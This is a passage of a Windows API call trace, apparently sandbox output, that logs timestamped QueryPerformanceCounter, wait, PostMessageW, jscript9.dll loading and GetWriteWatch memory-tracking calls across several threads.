(in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25605279647) returned 1 [0252.760] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25606276059) returned 1 [0252.760] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25606288039) returned 1 [0252.791] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25609357644) returned 1 [0252.791] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25609370668) returned 1 [0252.807] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25610930328) returned 1 [0252.807] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25610941704) returned 1 [0252.838] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25614027504) returned 1 [0252.838] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25614039273) returned 1 [0252.856] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25615873031) returned 1 [0252.856] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25615887763) returned 1 [0252.885] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25618743383) returned 1 [0252.885] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25618756443) returned 1 [0252.901] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25620320480) returned 1 [0252.901] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25620332541) returned 1 [0252.931] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25623407956) returned 1 [0252.932] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25623420740) returned 1 [0252.963] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25626569407) returned 1 [0252.963] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25626582856) returned 1 [0252.994] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25629653478) returned 1 [0252.994] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25629666228) returned 1 [0253.036] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25633890794) returned 1 [0253.036] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25633905729) returned 1 [0253.057] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25635918663) returned 1 [0253.057] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25635935090) returned 1 [0253.088] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25639087518) returned 1 [0253.088] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25639102426) returned 1 [0253.119] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25642151492) returned 1 [0253.119] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25642164905) returned 1 [0253.135] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25643762366) returned 1 [0253.135] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25643777200) returned 1 [0253.166] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25646883977) returned 1 [0253.166] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25646896214) returned 1 [0253.197] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25649993078) returned 1 [0253.197] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25650007767) returned 1 [0253.213] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25651540681) returned 1 [0253.213] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25651556639) returned 1 [0253.253] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25655594412) returned 1 [0253.253] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25655605656) returned 1 [0253.259] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25656215665) returned 1 [0253.260] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25656230802) returned 1 [0253.291] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25659368999) returned 1 [0253.291] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25659383507) returned 1 [0253.306] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25660912098) returned 1 [0253.307] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25660927948) returned 1 [0253.339] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25664213455) returned 1 [0253.340] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25664228339) returned 1 [0253.353] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25665600156) returned 1 [0253.354] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25665616594) returned 1 [0253.385] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25668761496) returned 1 [0253.385] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25668776566) returned 1 [0253.629] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25693199633) returned 1 [0253.629] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25693215875) returned 1 [0253.650] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25695308199) returned 1 [0253.651] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25695325759) returned 1 [0253.666] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25696844746) returned 1 [0253.666] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25696857393) returned 1 [0253.709] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25701156931) returned 1 [0253.709] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25701169983) returned 1 [0253.729] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25703151143) returned 1 [0253.729] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25703163774) returned 1 [0253.763] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25706598615) returned 1 [0253.763] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25706610104) returned 1 [0253.791] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25709362722) returned 1 [0253.791] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25709375842) returned 1 [0253.870] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25717283985) returned 1 [0253.870] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25717296010) returned 1 [0253.871] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25717318412) returned 1 [0253.871] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25717330127) returned 1 [0253.885] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25718753713) returned 1 [0253.885] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25718766875) returned 1 [0253.901] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25720338232) returned 1 [0253.901] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25720354950) returned 1 [0253.932] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25723458252) returned 1 [0253.932] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25723473535) returned 1 [0253.970] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25727305848) returned 1 [0253.971] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25727318680) returned 1 [0253.994] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25729701230) returned 1 [0253.995] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25729716658) returned 1 [0254.015] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25731729813) returned 1 [0254.015] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25731749582) returned 1 [0254.041] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25734398148) returned 1 [0254.041] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25734410285) returned 1 [0254.056] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25735909121) returned 1 [0254.057] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25735921428) returned 1 [0254.088] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25739064726) returned 1 [0254.088] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25739076179) returned 1 [0254.103] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25740602943) returned 1 [0254.103] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25740615231) returned 1 [0254.119] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25742187754) returned 1 [0254.119] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25742200477) returned 1 [0254.392] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25769417907) returned 1 [0254.392] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25769432829) returned 1 [0254.416] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25771866948) returned 1 [0254.416] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25771879356) returned 1 [0254.432] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25773417736) returned 1 [0254.432] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25773431257) returned 1 [0254.463] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25776559756) returned 1 [0254.463] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25776575046) returned 1 [0254.502] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25780449459) returned 1 [0254.502] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25780466125) returned 1 [0254.544] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25784700957) returned 1 [0254.545] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25784716284) returned 1 [0254.545] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25784741668) returned 1 [0254.545] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25784756570) returned 1 [0254.573] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25787529882) returned 1 [0254.573] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25787545586) returned 1 [0254.603] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25790593182) returned 1 [0254.603] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25790610061) returned 1 [0254.620] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25792217826) returned 1 [0254.620] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25792232998) returned 1 [0254.650] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25795288671) returned 1 [0254.650] GetWindowThreadProcessId (in: hWnd=0x80016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0254.650] PostMessageW (hWnd=0x80016, Msg=0x401, wParam=0xf600c76, lParam=0x3d09) returned 1 [0254.651] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25795321940) returned 1 [0254.666] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25796891987) returned 1 [0254.666] GetWindowThreadProcessId (in: hWnd=0x80016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0254.666] PostMessageW (hWnd=0x80016, Msg=0x401, wParam=0xf604b17, lParam=0x3d09) returned 1 [0254.667] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25796922420) returned 1 [0254.698] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25800025758) returned 1 [0254.698] GetWindowThreadProcessId (in: hWnd=0x80016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x15c [0254.698] PostMessageW (hWnd=0x80016, Msg=0x401, wParam=0xf60c581, lParam=0x3d09) returned 1 [0254.698] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25800058953) returned 1 [0254.729] QueryPerformanceCounter (in: lpPerformanceCount=0x4d1fde8 | out: lpPerformanceCount=0x4d1fde8*=25803155963) returned 1 [0254.729] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4d1fe60*=0x380, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0254.729] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4d1fe60*=0x380, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0254.729] WaitForMultipleObjects (nCount=0x2, lpHandles=0x4d1fe60*=0x380, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0260.584] GetCurrentThreadId () returned 0xc6c Thread: id = 77 os_tid = 0x720 [0252.350] GetCurrentThreadId () returned 0x720 [0252.350] GetModuleHandleExW (in: dwFlags=0x4, lpModuleName=0x72a18920, phModule=0x4bdfbd4 | out: phModule=0x4bdfbd4*=0x726c0000) returned 1 [0252.350] QueryPerformanceCounter (in: lpPerformanceCount=0x4bdfb88 | out: lpPerformanceCount=0x4bdfb88*=25565310580) returned 1 [0252.351] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0x43) returned 0x0 [0252.351] QueryPerformanceCounter (in: lpPerformanceCount=0x4bdfb88 | out: lpPerformanceCount=0x4bdfb88*=25565324580) returned 1 [0252.351] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0x43) returned 0x102 [0252.418] QueryPerformanceCounter (in: lpPerformanceCount=0x4bdfb88 | out: lpPerformanceCount=0x4bdfb88*=25572025696) returned 1 [0252.418] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xffffffff) returned 0x0 [0252.869] QueryPerformanceCounter (in: lpPerformanceCount=0x4bdfb88 | out: lpPerformanceCount=0x4bdfb88*=25617147435) returned 1 [0252.869] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0x42) returned 0x102 [0253.044] QueryPerformanceCounter (in: lpPerformanceCount=0x4bdfb88 | out: lpPerformanceCount=0x4bdfb88*=25634656132) returned 1 [0253.044] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xffffffff) returned 0x0 [0254.629] QueryPerformanceCounter (in: lpPerformanceCount=0x4bdfb88 | out: lpPerformanceCount=0x4bdfb88*=25793183706) returned 1 [0254.629] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0x62) returned 0x102 [0254.847] QueryPerformanceCounter (in: lpPerformanceCount=0x4bdfb88 | out: lpPerformanceCount=0x4bdfb88*=25814967956) returned 1 [0254.847] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0xffffffff) returned 0x0 [0260.025] FreeLibraryAndExitThread (hLibModule=0x726c0000, dwExitCode=0x0) [0260.025] GetCurrentThreadId () returned 0x720 Thread: id = 81 os_tid = 0xf68 [0252.656] GetCurrentThreadId () returned 0xf68 Thread: id = 82 os_tid = 0x6c0 [0252.657] GetCurrentThreadId () returned 0x6c0 Thread: id = 83 os_tid = 0xd90 [0253.160] GetCurrentThreadId () returned 0xd90 [0253.160] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="C:\\Windows\\System32\\jscript9.dll", phModule=0x5eefaac | out: phModule=0x5eefaac*=0x716a0000) returned 1 [0253.161] SetEvent (hEvent=0x4a4) returned 1 [0253.167] GetCurrentThread () returned 0xfffffffe [0253.167] SetThreadPriority (hThread=0xfffffffe, nPriority=-1) returned 1 [0258.195] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x5eefaa4*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0258.196] ResetWriteWatch (lpBaseAddress=0x48f0000, dwRegionSize=0x5000) returned 0x0 [0258.196] ResetWriteWatch (lpBaseAddress=0x48f6000, dwRegionSize=0x1a000) returned 0x0 [0258.197] malloc (_Size=0x30) returned 0x51683e8 [0258.197] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x6440000 [0258.197] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x490f000, dwRegionSize=0x1000, lpAddresses=0x5eefa04, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08 | out: lpAddresses=0x5eefa04*=0x1, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08) returned 0x0 [0258.197] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x490b000, dwRegionSize=0x1000, lpAddresses=0x5eefa04, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08 | out: lpAddresses=0x5eefa04*=0x1, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08) returned 0x0 [0258.197] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x4909000, dwRegionSize=0x1000, lpAddresses=0x5eefa04, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08 | out: lpAddresses=0x5eefa04*=0x1, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08) returned 0x0 [0258.197] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x4904000, dwRegionSize=0x1000, lpAddresses=0x5eefa04, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08 | out: lpAddresses=0x5eefa04*=0x1, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08) returned 0x0 [0258.197] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x4901000, dwRegionSize=0x1000, lpAddresses=0x5eefa04, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08 | out: lpAddresses=0x5eefa04*=0x1, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08) returned 0x0 [0258.197] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48fe000, dwRegionSize=0x1000, lpAddresses=0x5eefa04, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08 | out: lpAddresses=0x5eefa04*=0x1, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08) returned 0x0 [0258.197] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48fd000, dwRegionSize=0x1000, lpAddresses=0x5eefa04, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08 | out: lpAddresses=0x5eefa04*=0x1, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08) returned 0x0 [0258.197] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48fc000, dwRegionSize=0x1000, lpAddresses=0x5eefa04, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08 | out: lpAddresses=0x5eefa04*=0x1, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08) returned 0x0 [0258.197] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48fb000, dwRegionSize=0x1000, lpAddresses=0x5eefa04, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08 | out: lpAddresses=0x5eefa04*=0x1, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08) returned 0x0 [0258.198] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48f8000, dwRegionSize=0x1000, lpAddresses=0x5eefa04, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08 | out: lpAddresses=0x5eefa04*=0x1, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08) returned 0x0 [0258.198] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48f7000, dwRegionSize=0x1000, lpAddresses=0x5eefa04, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08 | out: lpAddresses=0x5eefa04*=0x1, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08) returned 0x0 [0258.198] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48f6000, dwRegionSize=0x1000, lpAddresses=0x5eefa04, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08 | out: lpAddresses=0x5eefa04*=0x1, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08) returned 0x0 [0258.198] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48f4000, dwRegionSize=0x1000, lpAddresses=0x5eefa04, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08 | out: lpAddresses=0x5eefa04*=0x1, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08) returned 0x0 [0258.198] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48f0000, dwRegionSize=0x1000, lpAddresses=0x5eefa04, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08 | out: lpAddresses=0x5eefa04*=0x1, lpdwCount=0x5eefa0c, lpdwGranularity=0x5eefa08) returned 0x0 [0258.198] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x490e000, dwRegionSize=0x1000, lpAddresses=0x5eef9ec, lpdwCount=0x5eef9f4, lpdwGranularity=0x5eef9f0 | out: lpAddresses=0x5eef9ec*=0x5eefa04, lpdwCount=0x5eef9f4, lpdwGranularity=0x5eef9f0) returned 0x0 [0258.198] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x490d000, dwRegionSize=0x1000, lpAddresses=0x5eef9ec, lpdwCount=0x5eef9f4, lpdwGranularity=0x5eef9f0 | out: lpAddresses=0x5eef9ec*=0x5eefa04, lpdwCount=0x5eef9f4, lpdwGranularity=0x5eef9f0) returned 0x0 [0258.198] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x490c000, dwRegionSize=0x1000, lpAddresses=0x5eef9ec, lpdwCount=0x5eef9f4, lpdwGranularity=0x5eef9f0 | out: lpAddresses=0x5eef9ec*=0x5eefa04, lpdwCount=0x5eef9f4, lpdwGranularity=0x5eef9f0) returned 0x0 [0258.198] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x490a000, dwRegionSize=0x1000, lpAddresses=0x5eef9ec, lpdwCount=0x5eef9f4, lpdwGranularity=0x5eef9f0 | out: lpAddresses=0x5eef9ec*=0x5eefa04, lpdwCount=0x5eef9f4, lpdwGranularity=0x5eef9f0) returned 0x0 [0258.198] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x4908000, dwRegionSize=0x1000, lpAddresses=0x5eef9ec, lpdwCount=0x5eef9f4, lpdwGranularity=0x5eef9f0 | out: lpAddresses=0x5eef9ec*=0x5eefa04, lpdwCount=0x5eef9f4, lpdwGranularity=0x5eef9f0) returned 0x0 [0258.198] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x4907000, dwRegionSize=0x1000, lpAddresses=0x5eef9ec, lpdwCount=0x5eef9f4, lpdwGranularity=0x5eef9f0 | out: lpAddresses=0x5eef9ec*=0x5eefa04, lpdwCount=0x5eef9f4, lpdwGranularity=0x5eef9f0) returned 0x0 [0258.198] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x4905000, dwRegionSize=0x1000, lpAddresses=0x5eef9ec, lpdwCount=0x5eef9f4, lpdwGranularity=0x5eef9f0 | out: lpAddresses=0x5eef9ec*=0x5eefa04, lpdwCount=0x5eef9f4, lpdwGranularity=0x5eef9f0) returned 0x0 [0258.198] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x4900000, dwRegionSize=0x1000, lpAddresses=0x5eef9ec, lpdwCount=0x5eef9f4, lpdwGranularity=0x5eef9f0 | out: lpAddresses=0x5eef9ec*=0x5eefa04, lpdwCount=0x5eef9f4, lpdwGranularity=0x5eef9f0) returned 0x0 [0258.198] GetWriteWatch (in: dwFlags=0x0, lpBaseAddress=0x48ff000, dwRegionSize=0x1000, lpAddresses=0x5eef9ec, lpdwCount=0x5eef9f4, lpdwGranularity=0x5eef9f0 | out: lpAddresses=0x5eef9ec*=0x5eefa04, lpdwCount=0x5eef9f4, lpdwGranularity=0x5eef9f0) returned 0x0 [0258.198] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x5171928 | out: lpSystemTimeAsFileTime=0x5171928*(dwLowDateTime=0xb48e7b0c, dwHighDateTime=0x1d4f110)) [0258.198] SetEvent (hEvent=0x4a4) returned 1 [0258.198] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x5eefaa4*=0x4a8, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0259.948] GetWriteWatch (in: dwFlags=0x1, lpBaseAddress=0x48f9000, dwRegionSize=0x1000, lpAddresses=0x5eef9b0, lpdwCount=0x5eef9bc, lpdwGranularity=0x5eef9b4 | out: 